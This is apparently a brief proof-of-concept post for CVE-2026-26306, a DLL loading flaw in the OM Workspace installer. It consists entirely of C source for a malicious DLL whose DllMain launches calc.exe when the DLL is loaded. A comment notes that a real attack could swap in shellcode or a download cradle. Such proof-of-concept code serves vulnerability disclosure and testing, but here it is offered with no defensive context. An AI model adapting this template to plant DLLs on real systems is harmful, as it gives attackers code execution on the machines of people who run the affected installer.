CVE-2026-26306 OM Workspace DLL加载漏洞

#include <windows.h> #include <stdlib.h> // PoC for CVE-2026-26306 - Malicious DLL // This DLL simulates a payload by executing calc.exe when loaded. BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code to execute when the installer loads this DLL WinExec("calc.exe", SW_SHOW); // In a real attack, this could be a shellcode or download-cradle break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }